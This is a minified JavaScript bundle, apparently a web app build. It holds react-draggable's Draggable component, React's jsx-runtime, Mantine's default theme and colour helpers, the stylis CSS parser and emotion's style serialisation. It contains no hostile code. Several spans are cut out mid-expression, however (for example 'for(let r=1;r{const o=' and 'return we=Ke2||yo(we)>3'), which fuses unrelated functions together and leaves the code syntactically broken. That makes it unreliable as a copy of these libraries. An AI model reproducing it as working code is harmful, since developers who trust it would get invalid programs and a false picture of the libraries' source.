wn=x(A,m),Ir={},xo=null,jv=Boolean(se),oc=!jv||this.state.dragging,ic=se||te,lc={x:(0,a.canDragX)(this)&&oc?this.state.x:ic.x,y:(0,a.canDragY)(this)&&oc?this.state.y:ic.y};this.state.isElementSVG?xo=(0,l.createSVGTransform)(lc,jt):Ir=(0,l.createCSSTransform)(lc,jt);var Iv=(0,i.default)(U.props.className||"",W,(j={},M(j,Ze,this.state.dragging),M(j,ae,this.state.dragged),j));return r.createElement(u.default,v({},wn,{onStart:this.onDragStart,onDrag:this.onDrag,onStop:this.onDragStop}),r.cloneElement(r.Children.only(U),{className:Iv,style:y(y({},U.props.style),Ir),transform:xo}))}}],[{key:"getDerivedStateFromProps",value:function(j,A){var U=j.position,te=A.prevPropsPosition;return U&&(!te||U.x!==te.x||U.y!==te.y)?((0,p.default)("Draggable: getDerivedStateFromProps %j",{position:U,prevPropsPosition:te}),{x:U.x,y:U.y,prevPropsPosition:y({},U)}):null}}]),z}(r.Component);e.default=B,M(B,"displayName","Draggable"),M(B,"propTypes",y(y({},u.default.propTypes),{},{axis:n.default.oneOf(["both","x","y","none"]),bounds:n.default.oneOfType([n.default.shape({left:n.default.number,right:n.default.number,top:n.default.number,bottom:n.default.number}),n.default.string,n.default.oneOf([!1])]),defaultClassName:n.default.string,defaultClassNameDragging:n.default.string,defaultClassNameDragged:n.default.string,defaultPosition:n.default.shape({x:n.default.number,y:n.default.number}),positionOffset:n.default.shape({x:n.default.oneOfType([n.default.number,n.default.string]),y:n.default.oneOfType([n.default.number,n.default.string])}),position:n.default.shape({x:n.default.number,y:n.default.number}),className:s.dontSetMe,style:s.dontSetMe,transform:s.dontSetMe})),M(B,"defaultProps",y(y({},u.default.defaultProps),{},{axis:"both",bounds:!1,defaultClassName:"react-draggable",defaultClassNameDragging:"react-draggable-dragging",defaultClassNameDragged:"react-draggable-dragged",defaultPosition:{x:0,y:0},scale:1}))})(vy);var Ty=vy,zy=Ty.default,q1=Ty.DraggableCore;Ml.exports=zy;Ml.exports.default=zy;Ml.exports.DraggableCore=q1;var Wl={exports:{}},Vl={};/** + * @license React + * react-jsx-runtime.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var ew=$.exports,tw=Symbol.for("react.element"),rw=Symbol.for("react.fragment"),nw=Object.prototype.hasOwnProperty,ow=ew.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,iw={key:!0,ref:!0,__self:!0,__source:!0};function Ry(e,t,r){var n,o={},i=null,l=null;r!==void 0&&(i=""+r),t.key!==void 0&&(i=""+t.key),t.ref!==void 0&&(l=t.ref);for(n in t)nw.call(t,n)&&!iw.hasOwnProperty(n)&&(o[n]=t[n]);if(e&&e.defaultProps)for(n in t=e.defaultProps,t)o[n]===void 0&&(o[n]=t[n]);return{$$typeof:tw,type:e,key:i,ref:l,props:o,_owner:ow.current}}Vl.Fragment=rw;Vl.jsx=Ry;Vl.jsxs=Ry;(function(e){e.exports=Vl})(Wl);const Hi=Wl.exports.Fragment,P=Wl.exports.jsx,Z=Wl.exports.jsxs;function Dy(e){return Array.isArray(e)?e:[e]}function lw(e){return Object.keys(e)}const jy={dark:["#C1C2C5","#A6A7AB","#909296","#5c5f66","#373A40","#2C2E33","#25262b","#1A1B1E","#141517","#101113"],gray:["#f8f9fa","#f1f3f5","#e9ecef","#dee2e6","#ced4da","#adb5bd","#868e96","#495057","#343a40","#212529"],red:["#fff5f5","#ffe3e3","#ffc9c9","#ffa8a8","#ff8787","#ff6b6b","#fa5252","#f03e3e","#e03131","#c92a2a"],pink:["#fff0f6","#ffdeeb","#fcc2d7","#faa2c1","#f783ac","#f06595","#e64980","#d6336c","#c2255c","#a61e4d"],grape:["#f8f0fc","#f3d9fa","#eebefa","#e599f7","#da77f2","#cc5de8","#be4bdb","#ae3ec9","#9c36b5","#862e9c"],violet:["#f3f0ff","#e5dbff","#d0bfff","#b197fc","#9775fa","#845ef7","#7950f2","#7048e8","#6741d9","#5f3dc4"],indigo:["#edf2ff","#dbe4ff","#bac8ff","#91a7ff","#748ffc","#5c7cfa","#4c6ef5","#4263eb","#3b5bdb","#364fc7"],blue:["#e7f5ff","#d0ebff","#a5d8ff","#74c0fc","#4dabf7","#339af0","#228be6","#1c7ed6","#1971c2","#1864ab"],cyan:["#e3fafc","#c5f6fa","#99e9f2","#66d9e8","#3bc9db","#22b8cf","#15aabf","#1098ad","#0c8599","#0b7285"],teal:["#e6fcf5","#c3fae8","#96f2d7","#63e6be","#38d9a9","#20c997","#12b886","#0ca678","#099268","#087f5b"],green:["#ebfbee","#d3f9d8","#b2f2bb","#8ce99a","#69db7c","#51cf66","#40c057","#37b24d","#2f9e44","#2b8a3e"],lime:["#f4fce3","#e9fac8","#d8f5a2","#c0eb75","#a9e34b","#94d82d","#82c91e","#74b816","#66a80f","#5c940d"],yellow:["#fff9db","#fff3bf","#ffec99","#ffe066","#ffd43b","#fcc419","#fab005","#f59f00","#f08c00","#e67700"],orange:["#fff4e6","#ffe8cc","#ffd8a8","#ffc078","#ffa94d","#ff922b","#fd7e14","#f76707","#e8590c","#d9480f"]};function aw(e){return()=>({fontFamily:e.fontFamily||"sans-serif"})}var sw=Object.defineProperty,Of=Object.getOwnPropertySymbols,uw=Object.prototype.hasOwnProperty,cw=Object.prototype.propertyIsEnumerable,xf=(e,t,r)=>t in e?sw(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,$f=(e,t)=>{for(var r in t||(t={}))uw.call(t,r)&&xf(e,r,t[r]);if(Of)for(var r of Of(t))cw.call(t,r)&&xf(e,r,t[r]);return e};function fw(e){return t=>({WebkitTapHighlightColor:"transparent",[t||"&:focus"]:$f({},e.focusRing==="always"||e.focusRing==="auto"?e.focusRingStyles.styles(e):e.focusRingStyles.resetStyles(e)),[t?t.replace(":focus",":focus:not(:focus-visible)"):"&:focus:not(:focus-visible)"]:$f({},e.focusRing==="auto"||e.focusRing==="never"?e.focusRingStyles.resetStyles(e):null)})}function Po(e){return t=>typeof e.primaryShade=="number"?e.primaryShade:e.primaryShade[t||e.colorScheme]}function Vu(e){const t=Po(e);return(r,n,o=!0,i=!0)=>{if(typeof r=="string"&&r.includes(".")){const[a,s]=r.split("."),u=parseInt(s,10);if(a in e.colors&&u>=0&&u<10)return e.colors[a][typeof n=="number"&&!i?n:u]}const l=typeof n=="number"?n:t();return r in e.colors?e.colors[r][l]:o?e.colors[e.primaryColor][l]:r}}function Iy(e){let t="";for(let r=1;r{const o={from:(n==null?void 0:n.from)||e.defaultGradient.from,to:(n==null?void 0:n.to)||e.defaultGradient.to,deg:(n==null?void 0:n.deg)||e.defaultGradient.deg};return`linear-gradient(${o.deg}deg, ${t(o.from,r(),!1)} 0%, ${t(o.to,r(),!1)} 100%)`}}function Ly(e){return t=>{if(typeof t=="number")return`${t/16}${e}`;if(typeof t=="string"){const r=t.replace("px","");if(!Number.isNaN(Number(r)))return`${Number(r)/16}${e}`}return t}}const w=Ly("rem"),Hu=Ly("em");function V({size:e,sizes:t,units:r}){return e in t?t[e]:typeof e=="number"?r==="em"?Hu(e):w(e):e||t.md}function Bi(e){return typeof e=="number"?e:typeof e=="string"&&e.includes("rem")?Number(e.replace("rem",""))*16:typeof e=="string"&&e.includes("em")?Number(e.replace("em",""))*16:Number(e)}function mw(e){return t=>`@media (min-width: ${Hu(Bi(V({size:t,sizes:e.breakpoints})))})`}function yw(e){return t=>`@media (max-width: ${Hu(Bi(V({size:t,sizes:e.breakpoints}))-1)})`}function gw(e){return/^#?([0-9A-F]{3}){1,2}$/i.test(e)}function vw(e){let t=e.replace("#","");if(t.length===3){const l=t.split("");t=[l[0],l[0],l[1],l[1],l[2],l[2]].join("")}const r=parseInt(t,16),n=r>>16&255,o=r>>8&255,i=r&255;return{r:n,g:o,b:i,a:1}}function hw(e){const[t,r,n,o]=e.replace(/[^0-9,.]/g,"").split(",").map(Number);return{r:t,g:r,b:n,a:o||1}}function Bu(e){return gw(e)?vw(e):e.startsWith("rgb")?hw(e):{r:0,g:0,b:0,a:1}}function Fr(e,t){if(typeof e!="string"||t>1||t<0)return"rgba(0, 0, 0, 1)";const{r,g:n,b:o}=Bu(e);return`rgba(${r}, ${n}, ${o}, ${t})`}function ww(e=0){return{position:"absolute",top:w(e),right:w(e),left:w(e),bottom:w(e)}}function _w(e,t){const{r,g:n,b:o,a:i}=Bu(e),l=1-t,a=s=>Math.round(s*l);return`rgba(${a(r)}, ${a(n)}, ${a(o)}, ${i})`}function Sw(e,t){const{r,g:n,b:o,a:i}=Bu(e),l=a=>Math.round(a+(255-a)*t);return`rgba(${l(r)}, ${l(n)}, ${l(o)}, ${i})`}function Pw(e){return t=>{if(typeof t=="number")return w(t);const r=typeof e.defaultRadius=="number"?e.defaultRadius:e.radius[e.defaultRadius]||e.defaultRadius;return e.radius[t]||t||r}}function Ow(e,t){if(typeof e=="string"&&e.includes(".")){const[r,n]=e.split("."),o=parseInt(n,10);if(r in t.colors&&o>=0&&o<10)return{isSplittedColor:!0,key:r,shade:o}}return{isSplittedColor:!1}}function xw(e){const t=Vu(e),r=Po(e),n=My(e);return({variant:o,color:i,gradient:l,primaryFallback:a})=>{const s=Ow(i,e);switch(o){case"light":return{border:"transparent",background:Fr(t(i,e.colorScheme==="dark"?8:0,a,!1),e.colorScheme==="dark"?.2:1),color:i==="dark"?e.colorScheme==="dark"?e.colors.dark[0]:e.colors.dark[9]:t(i,e.colorScheme==="dark"?2:r("light")),hover:Fr(t(i,e.colorScheme==="dark"?7:1,a,!1),e.colorScheme==="dark"?.25:.65)};case"subtle":return{border:"transparent",background:"transparent",color:i==="dark"?e.colorScheme==="dark"?e.colors.dark[0]:e.colors.dark[9]:t(i,e.colorScheme==="dark"?2:r("light")),hover:Fr(t(i,e.colorScheme==="dark"?8:0,a,!1),e.colorScheme==="dark"?.2:1)};case"outline":return{border:t(i,e.colorScheme==="dark"?5:r("light")),background:"transparent",color:t(i,e.colorScheme==="dark"?5:r("light")),hover:e.colorScheme==="dark"?Fr(t(i,5,a,!1),.05):Fr(t(i,0,a,!1),.35)};case"default":return{border:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[4],background:e.colorScheme==="dark"?e.colors.dark[6]:e.white,color:e.colorScheme==="dark"?e.white:e.black,hover:e.colorScheme==="dark"?e.colors.dark[5]:e.colors.gray[0]};case"white":return{border:"transparent",background:e.white,color:t(i,r()),hover:null};case"transparent":return{border:"transparent",color:i==="dark"?e.colorScheme==="dark"?e.colors.dark[0]:e.colors.dark[9]:t(i,e.colorScheme==="dark"?2:r("light")),background:"transparent",hover:null};case"gradient":return{background:n(l),color:e.white,border:"transparent",hover:null};default:{const u=r(),p=s.isSplittedColor?s.shade:u,m=s.isSplittedColor?s.key:i;return{border:"transparent",background:t(m,p,a),color:e.white,hover:t(m,p===9?8:p+1)}}}}}function $w(e){return t=>{const r=Po(e)(t);return e.colors[e.primaryColor][r]}}function kw(e){return{"@media (hover: hover)":{"&:hover":e},"@media (hover: none)":{"&:active":e}}}function bw(e){return()=>({userSelect:"none",color:e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[5]})}function Ew(e){return()=>e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6]}const Pe={fontStyles:aw,themeColor:Vu,focusStyles:fw,linearGradient:dw,radialGradient:pw,smallerThan:yw,largerThan:mw,rgba:Fr,cover:ww,darken:_w,lighten:Sw,radius:Pw,variant:xw,primaryShade:Po,hover:kw,gradient:My,primaryColor:$w,placeholderStyles:bw,dimmed:Ew};var Cw=Object.defineProperty,Nw=Object.defineProperties,Tw=Object.getOwnPropertyDescriptors,kf=Object.getOwnPropertySymbols,zw=Object.prototype.hasOwnProperty,Rw=Object.prototype.propertyIsEnumerable,bf=(e,t,r)=>t in e?Cw(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Dw=(e,t)=>{for(var r in t||(t={}))zw.call(t,r)&&bf(e,r,t[r]);if(kf)for(var r of kf(t))Rw.call(t,r)&&bf(e,r,t[r]);return e},jw=(e,t)=>Nw(e,Tw(t));function Fy(e){return jw(Dw({},e),{fn:{fontStyles:Pe.fontStyles(e),themeColor:Pe.themeColor(e),focusStyles:Pe.focusStyles(e),largerThan:Pe.largerThan(e),smallerThan:Pe.smallerThan(e),radialGradient:Pe.radialGradient,linearGradient:Pe.linearGradient,gradient:Pe.gradient(e),rgba:Pe.rgba,cover:Pe.cover,lighten:Pe.lighten,darken:Pe.darken,primaryShade:Pe.primaryShade(e),radius:Pe.radius(e),variant:Pe.variant(e),hover:Pe.hover,primaryColor:Pe.primaryColor(e),placeholderStyles:Pe.placeholderStyles(e),dimmed:Pe.dimmed(e)}})}Object.keys(jy);const Iw={dir:"ltr",primaryShade:{light:6,dark:8},focusRing:"auto",loader:"oval",colorScheme:"light",white:"#fff",black:"#000",defaultRadius:"sm",transitionTimingFunction:"ease",colors:jy,lineHeight:1.55,fontFamily:"-apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica, Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji",fontFamilyMonospace:"ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, Liberation Mono, Courier New, monospace",primaryColor:"blue",respectReducedMotion:!0,cursorType:"default",defaultGradient:{from:"indigo",to:"cyan",deg:45},shadows:{xs:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), 0 0.0625rem 0.125rem rgba(0, 0, 0, 0.1)",sm:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 0 0.625rem 0.9375rem -0.3125rem, rgba(0, 0, 0, 0.04) 0 0.4375rem 0.4375rem -0.3125rem",md:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 0 1.25rem 1.5625rem -0.3125rem, rgba(0, 0, 0, 0.04) 0 0.625rem 0.625rem -0.3125rem",lg:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 0 1.75rem 1.4375rem -0.4375rem, rgba(0, 0, 0, 0.04) 0 0.75rem 0.75rem -0.4375rem",xl:"0 0.0625rem 0.1875rem rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05) 0 2.25rem 1.75rem -0.4375rem, rgba(0, 0, 0, 0.04) 0 1.0625rem 1.0625rem -0.4375rem"},fontSizes:{xs:"0.75rem",sm:"0.875rem",md:"1rem",lg:"1.125rem",xl:"1.25rem"},radius:{xs:"0.125rem",sm:"0.25rem",md:"0.5rem",lg:"1rem",xl:"2rem"},spacing:{xs:"0.625rem",sm:"0.75rem",md:"1rem",lg:"1.25rem",xl:"1.5rem"},breakpoints:{xs:"36em",sm:"48em",md:"62em",lg:"75em",xl:"88em"},headings:{fontFamily:"-apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica, Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji",fontWeight:700,sizes:{h1:{fontSize:"2.125rem",lineHeight:1.3,fontWeight:void 0},h2:{fontSize:"1.625rem",lineHeight:1.35,fontWeight:void 0},h3:{fontSize:"1.375rem",lineHeight:1.4,fontWeight:void 0},h4:{fontSize:"1.125rem",lineHeight:1.45,fontWeight:void 0},h5:{fontSize:"1rem",lineHeight:1.5,fontWeight:void 0},h6:{fontSize:"0.875rem",lineHeight:1.5,fontWeight:void 0}}},other:{},components:{},activeStyles:{transform:"translateY(0.0625rem)"},datesLocale:"en",globalStyles:void 0,focusRingStyles:{styles:e=>({outlineOffset:"0.125rem",outline:`0.125rem solid ${e.colors[e.primaryColor][e.colorScheme==="dark"?7:5]}`}),resetStyles:()=>({outline:"none"}),inputStyles:e=>({outline:"none",borderColor:e.colors[e.primaryColor][typeof e.primaryShade=="object"?e.primaryShade[e.colorScheme]:e.primaryShade]})}},Uu=Fy(Iw);function Mw(e){if(e.sheet)return e.sheet;for(var t=0;t0?Ce(hn,--Ke):0,mn--,we===10&&(mn=1,Bl--),we}function it(){return we=Ke2||yo(we)>3?"":" "}function Xw(e,t){for(;--t&&it()&&!(we<48||we>102||we>57&&we<65||we>70&&we<97););return Oo(e,di()+(t<6&&zt()==32&&it()==32))}function Ms(e){for(;it();)switch(we){case e:return Ke;case 34:case 39:e!==34&&e!==39&&Ms(we);break;case 40:e===41&&Ms(e);break;case 92:it();break}return Ke}function Kw(e,t){for(;it()&&e+we!==47+10;)if(e+we===42+42&&zt()===47)break;return"/*"+Oo(t,Ke-1)+"*"+Hl(e===47?e:it())}function Zw(e){for(;!yo(zt());)it();return Oo(e,Ke)}function Jw(e){return Uy(mi("",null,null,null,[""],e=By(e),0,[0],e))}function mi(e,t,r,n,o,i,l,a,s){for(var u=0,p=0,m=l,d=0,g=0,h=0,v=1,x=1,f=1,c=0,y="",S=o,k=i,b=n,O=y;x;)switch(h=c,c=it()){case 40:if(h!=108&&Ce(O,m-1)==58){Is(O+=J(pi(c),"&","&\f"),"&\f")!=-1&&(f=-1);break}case 34:case 39:case 91:O+=pi(c);break;case 9:case 10:case 13:case 32:O+=Qw(h);break;case 92:O+=Xw(di()-1,7);continue;case 47:switch(zt()){case 42:case 47:Ho(qw(Kw(it(),di()),t,r),s);break;default:O+="/"}break;case 123*v:a[u++]=bt(O)*f;case 125*v:case 59:case 0:switch(c){case 0:case 125:x=0;case 59+p:g>0&&bt(O)-m&&Ho(g>32?Cf(O+";",n,r,m-1):Cf(J(O," ","")+";",n,r,m-2),s);break;case 59:O+=";";default:if(Ho(b=Ef(O,t,r,u,p,o,a,y,S=[],k=[],m),i),c===123)if(p===0)mi(O,t,b,b,S,i,m,a,k);else switch(d===99&&Ce(O,3)===110?100:d){case 100:case 109:case 115:mi(e,b,b,n&&Ho(Ef(e,b,b,0,0,o,a,y,o,S=[],m),k),o,k,m,a,n?S:k);break;default:mi(O,b,b,b,[""],k,0,a,k)}}u=p=g=0,v=f=1,y=O="",m=l;break;case 58:m=1+bt(O),g=h;default:if(v<1){if(c==123)--v;else if(c==125&&v++==0&&Yw()==125)continue}switch(O+=Hl(c),c*v){case 38:f=p>0?1:(O+="\f",-1);break;case 44:a[u++]=(bt(O)-1)*f,f=1;break;case 64:zt()===45&&(O+=pi(it())),d=zt(),p=m=bt(y=O+=Zw(di())),c++;break;case 45:h===45&&bt(O)==2&&(v=0)}}return i}function Ef(e,t,r,n,o,i,l,a,s,u,p){for(var m=o-1,d=o===0?i:[""],g=Qu(d),h=0,v=0,x=0;h0?d[f]+" "+c:J(c,/&\f/g,d[f])))&&(s[x++]=y);return Ul(e,t,r,o===0?Gu:a,s,u,p)}function qw(e,t,r){return Ul(e,t,r,Ay,Hl(Gw()),mo(e,2,-2),0)}function Cf(e,t,r,n){return Ul(e,t,r,Yu,mo(e,0,n),mo(e,n+1,-1),n)}function ln(e,t){for(var r="",n=Qu(e),o=0;o6)switch(Ce(e,t+1)){case 109:if(Ce(e,t+4)!==45)break;case 102:return J(e,/(.+:)(.+)-([^]+)/,"$1"+K+"$2-$3$1"+Ui+(Ce(e,t+3)==108?"$3":"$2-$3"))+e;case 115:return~Is(e,"stretch")?Gy(J(e,"stretch","fill-available"),t)+e:e}break;case 4949:if(Ce(e,t+1)!==115)break;case 6444:switch(Ce(e,bt(e)-3-(~Is(e,"!important")&&10))){case 107:return J(e,":",":"+K)+e;case 101:return J(e,/(.+:)([^;!]+)(;|!.+)?/,"$1"+K+(Ce(e,14)===45?"inline-":"")+"box$3$1"+K+"$2$3$1"+Me+"$2box$3")+e}break;case 5936:switch(Ce(e,t+11)){case 114:return K+e+Me+J(e,/[svh]\w+-[tblr]{2}/,"tb")+e;case 108:return K+e+Me+J(e,/[svh]\w+-[tblr]{2}/,"tb-rl")+e;case 45:return K+e+Me+J(e,/[svh]\w+-[tblr]{2}/,"lr")+e}return K+e+Me+e+e}return e}var u_=function(t,r,n,o){if(t.length>-1&&!t.return)switch(t.type){case Yu:t.return=Gy(t.value,t.length);break;case Wy:return ln([Cn(t,{value:J(t.value,"@","@"+K)})],o);case Gu:if(t.length)return Uw(t.props,function(i){switch(Bw(i,/(::plac\w+|:read-\w+)/)){case":read-only":case":read-write":return ln([Cn(t,{props:[J(i,/:(read-\w+)/,":"+Ui+"$1")]})],o);case"::placeholder":return ln([Cn(t,{props:[J(i,/:(plac\w+)/,":"+K+"input-$1")]}),Cn(t,{props:[J(i,/:(plac\w+)/,":"+Ui+"$1")]}),Cn(t,{props:[J(i,/:(plac\w+)/,Me+"input-$1")]})],o)}return""})}},c_=[u_],Yy=function(t){var r=t.key;if(r==="css"){var n=document.querySelectorAll("style[data-emotion]:not([data-s])");Array.prototype.forEach.call(n,function(v){var x=v.getAttribute("data-emotion");x.indexOf(" ")!==-1&&(document.head.appendChild(v),v.setAttribute("data-s",""))})}var o=t.stylisPlugins||c_,i={},l,a=[];l=t.container||document.head,Array.prototype.forEach.call(document.querySelectorAll('style[data-emotion^="'+r+' "]'),function(v){for(var x=v.getAttribute("data-emotion").split(" "),f=1;f=4;++n,o-=4)r=e.charCodeAt(n)&255|(e.charCodeAt(++n)&255)<<8|(e.charCodeAt(++n)&255)<<16|(e.charCodeAt(++n)&255)<<24,r=(r&65535)*1540483477+((r>>>16)*59797<<16),r^=r>>>24,t=(r&65535)*1540483477+((r>>>16)*59797<<16)^(t&65535)*1540483477+((t>>>16)*59797<<16);switch(o){case 3:t^=(e.charCodeAt(n+2)&255)<<16;case 2:t^=(e.charCodeAt(n+1)&255)<<8;case 1:t^=e.charCodeAt(n)&255,t=(t&65535)*1540483477+((t>>>16)*59797<<16)}return t^=t>>>13,t=(t&65535)*1540483477+((t>>>16)*59797<<16),((t^t>>>15)>>>0).toString(36)}var P_={animationIterationCount:1,borderImageOutset:1,borderImageSlice:1,borderImageWidth:1,boxFlex:1,boxFlexGroup:1,boxOrdinalGroup:1,columnCount:1,columns:1,flex:1,flexGrow:1,flexPositive:1,flexShrink:1,flexNegative:1,flexOrder:1,gridRow:1,gridRowEnd:1,gridRowSpan:1,gridRowStart:1,gridColumn:1,gridColumnEnd:1,gridColumnSpan:1,gridColumnStart:1,msGridRow:1,msGridRowSpan:1,msGridColumn:1,msGridColumnSpan:1,fontWeight:1,lineHeight:1,opacity:1,order:1,orphans:1,tabSize:1,widows:1,zIndex:1,zoom:1,WebkitLineClamp:1,fillOpacity:1,floodOpacity:1,stopOpacity:1,strokeDasharray:1,strokeDashoffset:1,strokeMiterlimit:1,strokeOpacity:1,strokeWidth:1},O_=/[A-Z]|^ms/g,x_=/_EMO_([^_]+?)_([^]*?)_EMO_/g,qy=function(t){return t.charCodeAt(1)===45},zf=function(t){return t!=null&&typeof t!="boolean"},Ra=n_(function(e){return qy(e)?e:e.replace(O_,"-$&").toLowerCase()}),Rf=function(t,r){switch(t){case"animation":case"animationName":if(typeof r=="string")return r.replace(x_,function(n,o,i){return Et={name:o,styles:i,next:Et},o})}return P_[t]!==1&&!qy(t)&&typeof r=="number"&&r!==0?r+"px":r};function go(e,t,r){if(r==null)return"";if(r.__emotion_styles!==void 0)return r;switch(typeof r){case"boolean":return"";case"object":{if(r.anim===1)return Et={name:r.name,styles:r.styles,next:Et},r.name;if(r.styles!==void 0){var n=r.next;if(n!==void 0)for(;n!==void 0;)Et={name:n.name,styles:n.styles,next:Et},n=n.next;var o=r.styles+";";return o}return $_(e,t,r)}case"function":{if(e!==void 0){var i=Et,l=r(e);return Et=i,go(e,t,l)}break}}if(t==null)return r;var a=t[r];return a!==void 0?a:r}function $_(e,t,r){var n="";if(Array.isArray(r))for(var o=0;ot in e?T_(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,I_=(e,t)=>{for(var r in t||(t={}))D_.call(t,r)&&Mf(e,r,t[r]);if(If)for(var r of If(t))j_.call(t,r)&&Mf(e,r,t[r]);return e},M_=(e,t)=>z_(e,R_(t));function L_({theme:e}){return P(ra,{styles:{"*, *::before, *::after":{boxSizing:"border-box"},html:{colorScheme:e.colorScheme==="dark"?"dark":"light"},body:M_(I_({},e.fn.fontStyles()),{backgroundColor:e.colorScheme==="dark"?e.colors.dark[7]:e.white,color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,lineHeight:e.lineHeight,fontSize:e.fontSizes.md,WebkitFontSmoothing:"antialiased",MozOsxFontSmoothing:"grayscale"})}})}function Bo(e,t,r){Object.keys(t).forEach(n=>{e[`--mantine-${r}-${n}`]=w(t[n])})}function F_({theme:e}){const t={"--mantine-color-white":e.white,"--mantine-color-black":e.black,"--mantine-transition-timing-function":e.transitionTimingFunction,"--mantine-line-height":`${e.lineHeight}`,"--mantine-font-family":e.fontFamily,"--mantine-font-family-monospace":e.fontFamilyMonospace,"--mantine-font-family-headings":e.headings.fontFamily,"--mantine-heading-font-weight":`${e.headings.fontWeight}`};Bo(t,e.shadows,"shadow"),Bo(t,e.fontSizes,"font-size"),Bo(t,e.radius,"radius"),Bo(t,e.spacing,"spacing"),Object.keys(e.colors).forEach(n=>{e.colors[n].forEach((o,i)=>{t[`--mantine-color-${n}-${i}`]=o})});const r=e.headings.sizes;return Object.keys(r).forEach(n=>{t[`--mantine-${n}-font-size`]=r[n].fontSize,t[`--mantine-${n}-line-height`]=`${r[n].lineHeight}`}),P(ra,{styles:{":root":t}})}var A_=Object.defineProperty,W_=Object.defineProperties,V_=Object.getOwnPropertyDescriptors,Lf=Object.getOwnPropertySymbols,H_=Object.prototype.hasOwnProperty,B_=Object.prototype.propertyIsEnumerable,Ff=(e,t,r)=>t in e?A_(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,hr=(e,t)=>{for(var r in t||(t={}))H_.call(t,r)&&Ff(e,r,t[r]);if(Lf)for(var r of Lf(t))B_.call(t,r)&&Ff(e,r,t[r]);return e},Af=(e,t)=>W_(e,V_(t));function U_(e,t){var r;if(!t)return e;const n=Object.keys(e).reduce((o,i)=>{if(i==="headings"&&t.headings){const l=t.headings.sizes?Object.keys(e.headings.sizes).reduce((a,s)=>(a[s]=hr(hr({},e.headings.sizes[s]),t.headings.sizes[s]),a),{}):e.headings.sizes;return Af(hr({},o),{headings:Af(hr(hr({},e.headings),t.headings),{sizes:l})})}return o[i]=typeof t[i]=="object"?hr(hr({},e[i]),t[i]):typeof t[i]=="number"||typeof t[i]=="boolean"||typeof t[i]=="function"?t[i]:t[i]||e[i],o},{});if((t==null?void 0:t.fontFamily)&&!((r=t==null?void 0:t.headings)!=null&&r.fontFamily)&&(n.headings.fontFamily=t.fontFamily),!(n.primaryColor in n.colors))throw new Error("MantineProvider: Invalid theme.primaryColor, it accepts only key of theme.colors, learn more \u2013 https://mantine.dev/theming/colors/#primary-color");return n}function G_(e,t){return Fy(U_(e,t))}function rg(e){return Object.keys(e).reduce((t,r)=>(e[r]!==void 0&&(t[r]=e[r]),t),{})}const Y_={html:{fontFamily:"sans-serif",lineHeight:"1.15",textSizeAdjust:"100%"},body:{margin:0},"article, aside, footer, header, nav, section, figcaption, figure, main":{display:"block"},h1:{fontSize:"2em"},hr:{boxSizing:"content-box",height:0,overflow:"visible"},pre:{fontFamily:"monospace, monospace",fontSize:"1em"},a:{background:"transparent",textDecorationSkip:"objects"},"a:active, a:hover":{outlineWidth:0},"abbr[title]":{borderBottom:"none",textDecoration:"underline"},"b, strong":{fontWeight:"bolder"},"code, kbp, samp":{fontFamily:"monospace, monospace",fontSize:"1em"},dfn:{fontStyle:"italic"},mark:{backgroundColor:"#ff0",color:"#000"},small:{fontSize:"80%"},"sub, sup":{fontSize:"75%",lineHeight:0,position:"relative",verticalAlign:"baseline"},sup:{top:"-0.5em"},sub:{bottom:"-0.25em"},"audio, video":{display:"inline-block"},"audio:not([controls])":{display:"none",height:0},img:{borderStyle:"none",verticalAlign:"middle"},"svg:not(:root)":{overflow:"hidden"},"button, input, optgroup, select, textarea":{fontFamily:"sans-serif",fontSize:"100%",lineHeight:"1.15",margin:0},"button, input":{overflow:"visible"},"button, select":{textTransform:"none"},"button, [type=reset], [type=submit]":{WebkitAppearance:"button"},"button::-moz-focus-inner, [type=button]::-moz-focus-inner, [type=reset]::-moz-focus-inner, [type=submit]::-moz-focus-inner":{borderStyle:"none",padding:0},"button:-moz-focusring, [type=button]:-moz-focusring, [type=reset]:-moz-focusring, [type=submit]:-moz-focusring":{outline:`${w(1)} dotted ButtonText`},legend:{boxSizing:"border-box",color:"inherit",display:"table",maxWidth:"100%",padding:0,whiteSpace:"normal"},progress:{display:"inline-block",verticalAlign:"baseline"},textarea:{overflow:"auto"},"[type=checkbox], [type=radio]":{boxSizing:"border-box",padding:0},"[type=number]::-webkit-inner-spin-button, [type=number]::-webkit-outer-spin-button":{height:"auto"},"[type=search]":{appearance:"none"},"[type=search]::-webkit-search-cancel-button, [type=search]::-webkit-search-decoration":{appearance:"none"},"::-webkit-file-upload-button":{appearance:"button",font:"inherit"},"details, menu":{display:"block"},summary:{display:"list-item"},canvas:{display:"inline-block"},template:{display:"none"}};function Q_(){return P(ra,{styles:Y_})}var X_=Object.defineProperty,Wf=Object.getOwnPropertySymbols,K_=Object.prototype.hasOwnProperty,Z_=Object.prototype.propertyIsEnumerable,Vf=(e,t,r)=>t in e?X_(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Qn=(e,t)=>{for(var r in t||(t={}))K_.call(t,r)&&Vf(e,r,t[r]);if(Wf)for(var r of Wf(t))Z_.call(t,r)&&Vf(e,r,t[r]);return e};const Gi=$.exports.createContext({theme:Uu});function vr(){var e;return((e=$.exports.useContext(Gi))==null?void 0:e.theme)||Uu}function J_(e){const 